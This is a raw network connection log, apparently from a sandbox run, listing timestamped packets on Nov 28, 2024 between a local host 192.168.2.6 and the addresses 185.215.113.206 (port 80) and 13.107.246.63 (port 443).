Nov 28, 2024 17:24:41.732975960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.733017921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.733614922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.733664036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.733691931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.733731985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.734330893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.734389067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.734482050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.734532118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.735148907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.735161066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.735191107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.735224962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.736481905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.736538887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.736540079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.736576080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.736695051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.736706972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.736732960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.736746073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.737456083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.737503052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.737513065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.737552881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.738214016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.738262892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.738337040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.738430023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.738914013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.738960981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.739047050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.739197969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.739710093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.739744902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.739767075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.739792109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.740724087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.740770102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.740885973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.740942001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.741447926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.741496086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.741503000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.741528034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.741997004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.742042065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.742124081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.742224932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.742790937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.742896080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.742939949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.743519068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.743566990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.743633032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.743670940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.744390965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.744436979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.744498014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.744684935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.745218992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.745232105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.745268106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.745851994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.745896101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.745929003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.745965004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.746674061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.746762991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.746783018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.746822119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.748272896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.748332024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.748416901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.748460054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.748716116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.748764038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.748800039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.748836040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.748974085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.748986006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.749022007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.750345945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.750359058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.750394106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.750407934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.750720978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.750762939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.750809908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.751079082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.751240969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.751298904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.751355886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.751422882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.751971006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.752008915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.752048969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.752693892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.752794981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.752808094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.752847910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.753412008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.753415108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.753460884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.754173040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.754214048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.754291058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.754369020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.754846096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.754864931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.754885912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.754923105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.755502939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.755548000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.820420980 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.821158886 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.821168900 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.821630955 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.821636915 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.826246977 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.826659918 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.826678991 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.827090025 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.827097893 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.847820997 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.847893953 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.847968102 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.848155022 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.848181009 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.848195076 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.848202944 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.850765944 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.850799084 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.850969076 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.851104021 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.851115942 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.916474104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.916492939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.916546106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.916791916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.916842937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.916886091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.916949034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.917495012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.917541027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.917634010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.917674065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.918236017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.918332100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.918474913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.918613911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.918912888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.918952942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.918957949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.918989897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.919624090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.919666052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.919751883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.919790030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.920355082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.920398951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.920413971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.920439005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.921102047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.921156883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.921325922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.921371937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.921813011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.921859980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.921860933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.921897888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.922477961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.922528028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.922564030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.922610998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.923258066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.923305035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.923321962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.923357010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.923913002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.923962116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.924129009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.924174070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.924628973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.924671888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.924704075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.924761057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.925374031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.925416946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.925581932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.925632954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.926078081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.926131010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.926188946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.926352024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.926948071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.926990032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.927069902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.927112103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.927932024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.927979946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.928039074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.928086042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.928555012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.928596973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.928683043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.928729057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.929270983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.929387093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.929512024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.929560900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.929924011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.929968119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.930042028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.930089951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.930706024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.930758953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.930986881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.931293011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932089090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932146072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932183981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932220936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932228088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932261944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932265043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932401896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932507992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932548046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.932549000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.932579041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.933219910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.933263063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.933326960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.933360100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.933917046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.933963060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.934045076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.934083939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.934634924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.934690952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.934731960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.934766054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.935416937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.935448885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.935472012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.935496092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.935574055 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.935590982 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.936043978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.936088085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.936220884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.936259031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.936753035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.936790943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.936821938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.936866045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.937019110 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.937050104 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.937486887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.937530041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.937622070 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.937628031 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.937700987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.937740088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.938030005 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.938064098 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.938220024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.938350916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.938385963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.938421011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.938560963 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.938565969 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.938905001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.939002037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.939027071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.939053059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.939652920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.939694881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.939768076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.939805031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.940355062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.940428972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.940530062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.940567017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.941046000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.941102982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.941143036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.941246033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.941798925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.941837072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.941879988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.942471027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.942528009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.942548990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.942583084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.943216085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.943268061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.943356037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.943396091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.944042921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.944071054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.944097042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.944124937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.944724083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.944761992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.944801092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.944833994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.945327997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.945383072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.945441961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.945476055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.946052074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.946098089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.946104050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.946137905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.946783066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.946830988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.946902037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.946989059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.001502991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.221957922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.408031940 CET	49865	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.408077002 CET	443	49865	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.408143044 CET	49865	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.408369064 CET	49865	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.408387899 CET	443	49865	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.424295902 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.424377918 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.424581051 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.424721003 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.424734116 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.424747944 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.424751997 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.425806999 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.425870895 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.425935030 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.426330090 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.426357031 CET	443	49859	13.107.246.63	192.168.2.6
